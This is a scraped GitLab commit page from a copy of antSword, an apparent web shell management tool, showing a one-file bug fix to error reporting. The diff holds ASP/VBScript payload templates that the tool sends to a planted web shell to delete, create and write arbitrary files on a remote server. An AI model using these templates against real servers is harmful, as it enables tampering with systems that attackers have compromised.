Skip to content
Projects
Groups
Snippets
Help
Loading...
Help
Submit feedback
Contribute to GitLab
Sign in / Register
Toggle navigation
A
antSword
Project
Project
Details
Activity
Releases
Cycle Analytics
Repository
Repository
Files
Commits
Branches
Tags
Contributors
Graph
Compare
Charts
Issues
0
Issues
0
List
Board
Labels
Milestones
Merge Requests
0
Merge Requests
0
CI / CD
CI / CD
Pipelines
Jobs
Schedules
Charts
Wiki
Wiki
Snippets
Snippets
Members
Members
Collapse sidebar
Close sidebar
Activity
Graph
Charts
Create a new issue
Jobs
Commits
Issue Boards
Open sidebar
HuangJunbo
antSword
Commits
9b7eb8f4
Commit
9b7eb8f4
authored
Jan 21, 2019
by
Medicean
Browse files
Options
Browse Files
Download
Email Patches
Plain Diff
(BugFix:Core:ASP) 修复文件创建失败和删除失败时提示
parent
86ba9eec
Changes
1
Hide whitespace changes
Inline
Side-by-side
Showing
1 changed file
with
2 additions
and
2 deletions
+2
-2
filemanager.js
source/core/asp/template/filemanager.js
+2
-2
No files found.
source/core/asp/template/filemanager.js
View file @
9b7eb8f4
...
...
@@ -11,13 +11,13 @@ module.exports = (arg1, arg2, arg3) => ({
delete
:
{
_
:
`Dim P:P=bd(Request("
${
arg1
}
")):Set FS=CreateObject("Scripting.FileSystemObject"):If FS.FolderExists(P)=true Then:FS.DeleteFolder(P):Else:FS.DeleteFile(P):End If:Set FS=Nothing:If Err Then:S="ERROR:// "&Err.Description:Else:S="1":
Response.Write(S):End If
`
,
`Dim P:P=bd(Request("
${
arg1
}
")):Set FS=CreateObject("Scripting.FileSystemObject"):If FS.FolderExists(P)=true Then:FS.DeleteFolder(P):Else:FS.DeleteFile(P):End If:Set FS=Nothing:If Err Then:S="ERROR:// "&Err.Description:Else:S="1":
End If:Response.Write(S)
`
,
[
arg1
]:
"#{hex::path}"
},
create_file
:
{
_
:
`CreateObject("Scripting.FileSystemObject").CreateTextFile(""&bd(Request("
${
arg1
}
"))&"").Write(""&bd(Request("
${
arg2
}
"))&""):If Err Then:
S="ERROR:// "&Err.Description:Else:S="1":Response.Write(S
):End If`
,
`CreateObject("Scripting.FileSystemObject").CreateTextFile(""&bd(Request("
${
arg1
}
"))&"").Write(""&bd(Request("
${
arg2
}
"))&""):If Err Then:
Response.Write("ERROR:// "&Err.Description):Else:Response.Write("1"
):End If`
,
[
arg1
]:
"#{hex::path}"
,
[
arg2
]:
"#{hex::content}"
},
...
...
Write
Preview
Markdown
is supported
0%
Try again
or
attach a new file
Attach a file
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Cancel
Please
register
or
sign in
to comment